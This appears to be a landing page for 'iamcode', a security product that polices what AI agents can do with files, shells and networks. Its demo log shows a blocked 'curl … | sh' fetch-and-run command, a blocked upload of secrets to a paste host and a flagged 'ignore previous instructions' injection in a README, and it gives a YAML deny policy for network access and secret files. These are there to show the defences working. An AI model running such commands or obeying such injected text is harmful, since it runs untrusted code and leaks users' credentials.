Security for AI agents
Let your agents act.Without handing over the keys.
iamcode sits between your AI agents and everything they touch: code, shells, browsers, and APIs. It enforces least-privilege policy, stops prompt injection, and records every action.
- ✓ allowfs.readsrc/auth/session.ts
- ✓ allowshellnpm test
- ! reviewfs.write.github/workflows/deploy.ymlapproval requested
- ✗ blockshellcurl -s https://x.example/i.sh | shrule: no-remote-exec
- ✗ blockhttp.postpaste.example.net/uploadrule: secret-egress
- ✗ blockprompt"ignore previous instructions…"injection in README.md
The problem
Agents are the new attack surface.
AI agents now read your code, run commands, browse the web, and call APIs on your behalf. Security tools were built for people and services, not for software that decides what to do next.
- T1
Prompt injection
Instructions hidden in a web page, issue, or README can quietly take over an agent mid-task.
- T2
Secret exfiltration
Agents run with your tokens and keys. One bad tool call can send them anywhere.
- T3
Over-privileged tools
Agents often inherit everything the developer can do: full shell, open network, every repo.
- T4
No audit trail
When something goes wrong, there is no clear record of what the agent did, or why.
The product
Guardrails built for autonomy.
Give agents the access they need to be useful, and nothing that could hurt you.
Least privilege by default
Scope each agent to the files, commands, and hosts its task actually needs. Nothing more.
Runtime policy
Every tool call is checked before it runs: allow it, block it, or hold it for approval.
Prompt-injection defense
Untrusted content that tries to redirect an agent’s goal is flagged before it can act.
Secret shielding
Keep tokens and keys out of agent context, logs, and outbound traffic.
Human in the loop
Send risky actions to a person for a quick yes or no, without breaking the agent’s flow.
Complete audit trail
Every prompt, tool call, and decision is recorded and searchable, so you can see what happened and why.
How it works
Policy as code, for every agent.
- 01
Connect your agents
Route coding agents, browser agents, or your own through iamcode with a few lines of config.
- 02
Write the policy
Declare what each agent may read, run, and reach, in plain YAML that lives next to your code.
- 03
Enforce and audit
Every action is checked in real time. Anything risky is blocked or sent for review, and everything is logged.
# iamcode.policy.yaml
agent: coding-agent
allow:
fs.read: ["src/**", "tests/**"]
shell: ["npm test", "npm run lint"]
review:
fs.write: [".github/**", "infra/**"]
block:
network: ["*"] # except allowlisted hosts
secrets: [".env*", "~/.aws/**"]
detect:
prompt_injection: blockEarly access
Putting agents into production?
We're opening iamcode to a small group of design partners. Tell us what your agents do and what keeps you up at night.
Request early accessor email hello@iamcode.ai